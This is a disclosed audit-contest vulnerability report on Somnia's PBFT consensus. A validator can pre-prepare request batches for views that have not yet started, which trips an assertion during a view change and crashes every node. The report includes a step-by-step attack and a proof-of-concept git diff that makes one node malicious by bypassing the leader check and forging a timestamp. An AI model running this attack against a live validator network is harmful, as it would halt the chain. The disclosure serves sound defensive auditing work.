Somnia Disclosed Report

Audit report Somnia Audit Contest

Validators can pre-prepare request batches for views that have not yet started, which can lead to colliding request batches

Company
Created date
Aug 25 2025

Target

https://github.com/hackenproof-public/somnia

Vulnerability Details

The PBFT network always operates in a view with one consensus leader. The leader can create pre-prepare request batches and send them to the other nodes, which then vote on the request batch. A view change occurs when the current consensus leader, for example, has too long of a timeout. For a view change to take place, the other nodes first send LeaderViewChangeMessages to the consensus leader of the new view. These messages contain request batches from specific rounds, which might be carried over into the next view: https://github.com/hackenproof-public/somnia/blob/5931d305dd6fb02b637efd2fca13e77731d05804/somnia/pbft/pbft_view_manager.cc#L515-L587

In the next step, the consensus leader creates a NewViewMessage if it has received 2f+1 votes with the LeaderViewChangeMessages from the other nodes. The new leader then sends this message to all nodes so that they can update their views. During the view change, each node uses the function GetLockedRequestBatchesForNewView to determine which request batches will be carried over into the next view. This decision depends on the view number, sequence number, certificate status, and prepared votes: https://github.com/hackenproof-public/somnia/blob/5931d305dd6fb02b637efd2fca13e77731d05804/somnia/pbft/pbft_view_manager.cc#L959

Then the request batches are actually set in the new view. A RELEASE_ASSERT ensures that the new view does not already contain a request batch. If it does, the assertion only passes if the existing batch has the same hash:

  • https://github.com/hackenproof-public/somnia/blob/5931d305dd6fb02b637efd2fca13e77731d05804/somnia/pbft/pbft_view_manager.cc#L843-L845
  • https://github.com/hackenproof-public/somnia/blob/5931d305dd6fb02b637efd2fca13e77731d05804/somnia/pbft/pbft_view_manager.cc#L862-L864

The new consensus leader could intentionally trigger this assertion on every node to which it sends a NewViewMessage. This is possible because the leader can send pre-prepare messages for a view that has not yet started. There is no check in ReceivedPrePrepareMessage to verify whether the view for which the message is submitted has actually started. As a result, the consensus leader could send a random request batch before the view change occurs, leading to the RELEASE_ASSERT being triggered because the batch hashes do not match.

For example:

  1. The current view is 0, and node0 is the consensus leader.
  2. node0 prepares sequence numbers 1–5.
  3. node1 then sends a pre-prepare message for sequence number 5 in view 1 with a different request batch than the one proposed by node0 in view 0.
  4. node0 times out, and all other nodes send LeaderViewChangeMessages to node1.
  5. The LeaderViewChangeMessages include the round with sequence number 5 and view 0 in certificate_rounds_above_checkpointed.
  6. When the view changes via TryEnterNewView, this round is added to rounds_to_commit.
  7. When it is made to set the round, the RELEASE_ASSERT is triggered because the new view already contains a different request batch.
  8. All validator nodes crash, and the network shuts down.

Validation steps

The POC demonstrates the example above and attack takes place in epoch 2. Apply the git diff below to make one node in the network malicious. The changes are explained in the comments:

diff --git a/ci/run-local-deployment.sh b/ci/run-local-deployment.sh
index ab51ed8c..0db3a528 100755
--- a/ci/run-local-deployment.sh
+++ b/ci/run-local-deployment.sh
@@ -107,6 +107,17 @@ function runNode {
     # Run a background process to add this node address as a validator.
     addNodeAsValidator $validator_index ws://localhost:${base_api_websocket_port} &
 
+    local cause_view_change=""
+    if [ "$validator_index" -eq 1 ]; then
+        cause_view_change="--local-parameters.pbft-local-parameters.cause-view-change true"
+    fi
+
+    local evil_param=""
+    if [ "$validator_index" -eq 3 ]; then
+        evil_param="--local-parameters.pbft-local-parameters.is-evil true"
+    fi
+    
+
     # Start the node.
     echo "Starting validator $validator_index on ports $protocol_port and $data_port"
     $SOMNIA_BIN node \
@@ -121,6 +132,8 @@ function runNode {
         --local-parameters.seed-peer.data-port $primary_data_port \
         --local-parameters.seed-peer.peer-address $(cat /tmp/address_0.json) \
         --local-parameters.seed-peer.hostname "127.0.0.1" \
+        $cause_view_change \
+        $evil_param \
         --key-file /tmp/keys_${validator_index}.json \
         --parameters-preset "$NETWORK_PRESET" \
         --verbose || true
diff --git a/somnia/parameters/parameters_loader.cc b/somnia/parameters/parameters_loader.cc
index 2d0195d2..547f9705 100644
--- a/somnia/parameters/parameters_loader.cc
+++ b/somnia/parameters/parameters_loader.cc
@@ -372,7 +372,7 @@ void ChainParametersLoader::ApplyBaseProductionChainParameters(ChainParameters&
   chain_parameters.local_parameters.storage_database_directory = "/tmp/somnia";
 
   // Set the epoch length to 5 minutes.
-  chain_parameters.protocol_parameters.ledger_blocks_per_epoch = 3000;
+  chain_parameters.protocol_parameters.ledger_blocks_per_epoch = 128; //For the POC to be faster the epoch length is 128 blocks
 
   // Set the ice database sizes.
   chain_parameters.protocol_parameters.world_state_protocol_parameters.bls_link_state_parameters
diff --git a/somnia/pbft/pbft_node.cc b/somnia/pbft/pbft_node.cc
index a6155bf2..a18125a2 100644
--- a/somnia/pbft/pbft_node.cc
+++ b/somnia/pbft/pbft_node.cc
@@ -165,6 +165,10 @@ bool PbftNode::HasAppliedFinalisedNetworkReceipt() const {
 }
 
 void PbftNode::TryProposeRequestBatch() {
+  //This stops the first consensus leader in epoch 2 from proposing a request batch after sequence number 5 to trigger a view change.
+  if(parameters.local_parameters.cause_view_change && round_manager->executed == 1 && epoch_data.epoch_number == 2) {
+    return;
+  }
   if (current_time < next_proposal_time) {
     // We have locally proposed a round too recently.
     return;
@@ -225,6 +229,16 @@ void PbftNode::SendMessageToAllPeers(const PbftMessage& message) {
   // Broadcast the message using the interface.
   interface.SendMessageToAllPeers(message);
 
+  //The attacker should not send NewViewMessage to itself to avoid crashing before all other nodes.
+  if (parameters.local_parameters.is_evil) {
+    try {
+      auto& new_view_msg = std::get<NewViewMessage>(message);
+      sent_messages_metrics[message.index()]->Increment(epoch_data.GetCommitteeSize());
+      return;
+    } catch (const std::bad_variant_access&) {
+    
+    }
+  }
   // And then process the message ourselves.
   ReceivedMessage(message);
   sent_messages_metrics[message.index()]->Increment(epoch_data.GetCommitteeSize());
diff --git a/somnia/pbft/pbft_parameters.h b/somnia/pbft/pbft_parameters.h
index eed65944..08cace13 100644
--- a/somnia/pbft/pbft_parameters.h
+++ b/somnia/pbft/pbft_parameters.h
@@ -162,6 +162,12 @@ struct PbftLocalParameters {
   HELP("The round manager will only tick this number of sequence numbers per tick.")
   std::uint64_t max_num_sequence_numbers_processed_per_tick = 16 * 1024;
 
+  HELP("Node causes view change if true")
+  bool cause_view_change = false;
+
+  HELP("Node acts evil if true")
+  bool is_evil = false;
+
   static PbftLocalParameters LowTimeoutPbftLocalParameters() {
     // These parameters have very tight timeouts to favour fast local iteration.
     PbftLocalParameters parameters;
diff --git a/somnia/pbft/pbft_round_manager.cc b/somnia/pbft/pbft_round_manager.cc
index 859ffabd..22887980 100644
--- a/somnia/pbft/pbft_round_manager.cc
+++ b/somnia/pbft/pbft_round_manager.cc
@@ -115,6 +115,19 @@ void PbftRoundManager::TryProposeRequestBatch() {
     return;
   }
 
+  //The first consensus leader in epoch 2 will stop proposing request batches after sequence number 5 to trigger a view change. 
+  //In a real environment, this could be caused, for example, by latency
+  if (parameters.local_parameters.cause_view_change && epoch_data.epoch_number == 2 && *sequence_number_to_propose == SequenceNumber(5)) {
+    executed = 1;
+  }
+
+  if(parameters.local_parameters.is_evil && executed == 0 && epoch_data.epoch_number == 2) { //Attacker proposes a request batch with sequence number 5 in view 1
+    PbftRound& round = GetRound(ViewNumber(1), SequenceNumber(5));
+    TryBroadcastPrePrepareMessage(round);
+    executed = 1;
+    return;
+  }
+
   // Create a new round and broadcast a proposal.
   PbftRound& round = GetRound(view_manager->GetCurrentViewNumber(), *sequence_number_to_propose);
   TryBroadcastPrePrepareMessage(round);
@@ -346,6 +359,10 @@ bool PbftRoundManager::AllFutureSequenceNumbersHaveNoState(SequenceNumber sequen
 }
 
 bool PbftRoundManager::CanSendPrePrepareMessage(const PbftRound& round) const {
+  if(parameters.local_parameters.is_evil && executed == 0 && epoch_data.epoch_number == 2) { //Attacker can always send pre-prepare message
+    return true;
+  }
+
   if (parameters.local_parameters.disable_signing) {
     // This node has been configured to not sign any messages.
     return false;
@@ -485,11 +502,14 @@ void PbftRoundManager::ReceivedCommitMessage(CommitMessage message) {
 }
 
 bool PbftRoundManager::TryBroadcastPrePrepareMessage(PbftRound& round) {
-  if (our_private_keys.GetAddress() != epoch_data.ConsensusLeaderForView(round.view_number)) {
-    // We are not currently the leader, so we should not propose anything.
-    return false;
+  if (!parameters.local_parameters.is_evil) { //Attacker can always send pre-prepare message
+    if (our_private_keys.GetAddress() != epoch_data.ConsensusLeaderForView(round.view_number)) {
+      // We are not currently the leader, so we should not propose anything.
+      return false;
+    }
   }
 
+
   if (network_setup.network_descriptor.pbft_network_id <
       parameters.local_parameters.minimum_network_id_to_propose) {
     // We have been configured not to propose in this network ID.
@@ -503,6 +523,10 @@ bool PbftRoundManager::TryBroadcastPrePrepareMessage(PbftRound& round) {
 
   // Fill the current round with a request batch to propose.
   FillRequestBatchForRound(round);
+  if (parameters.local_parameters.is_evil && executed == 0 && epoch_data.epoch_number == 2) { //Attacker must change the timestamp because honest nodes check it (See L451-L458)
+    round.request_batch->timestamp = DurationToUnixMillis(current_time.time_since_epoch()) * 2;
+    round.request_batch->request_batch_hash = round.request_batch->CalculateHash();
+  }
 
   // The round request batch must now filled.
   RELEASE_ASSERT(round.request_batch);
diff --git a/somnia/pbft/pbft_round_manager.h b/somnia/pbft/pbft_round_manager.h
index 0a20f75b..da949944 100644
--- a/somnia/pbft/pbft_round_manager.h
+++ b/somnia/pbft/pbft_round_manager.h
@@ -23,6 +23,8 @@ namespace pbft {
 //
 // Some methods are virtual so that they can be overridden to test Byzantine behaviour.
 struct PbftRoundManager {
+  uint64_t executed = 0; //This is used so that the attack is only executed once
+
   PbftRoundManager(PbftNodeContext& context);
   void Initialise(struct PbftViewManager& view_manager,
                   struct PbftCheckpointManager& checkpoint_manager);
diff --git a/somnia/pbft/pbft_view_manager.cc b/somnia/pbft/pbft_view_manager.cc
index 428cc673..15d4a71d 100644
--- a/somnia/pbft/pbft_view_manager.cc
+++ b/somnia/pbft/pbft_view_manager.cc
@@ -758,6 +758,10 @@ void PbftViewManager::TryCreateNewViewMessage() {
                AddressToHexString(our_private_keys.GetAddress()),
                new_view_message.old_view_number + 1);
 
+  //The attacker does not send a message to itself immediately to avoid crashing, because of this we must return here to avoid the RELEASE_ASSERT below
+  if (parameters.local_parameters.is_evil) {
+    return;
+  }
   // This should have set it in the view.
   RELEASE_ASSERT(new_view.new_view_message_used_to_enter_view);
 }

Then run with: NETWORK_PRESET=mainnet-small ./ci/run-local-deployment.sh The screenshot shows a snippet of the expected output after the attack was executed.

Attachments

hidden
CommentsReport History
Comments on this report are hidden
Details
Statedisclosed
Severity
High
Bounty$8,544
Visibilitypartially
VulnerabilityBlockchain
Participants (2)
author
triage team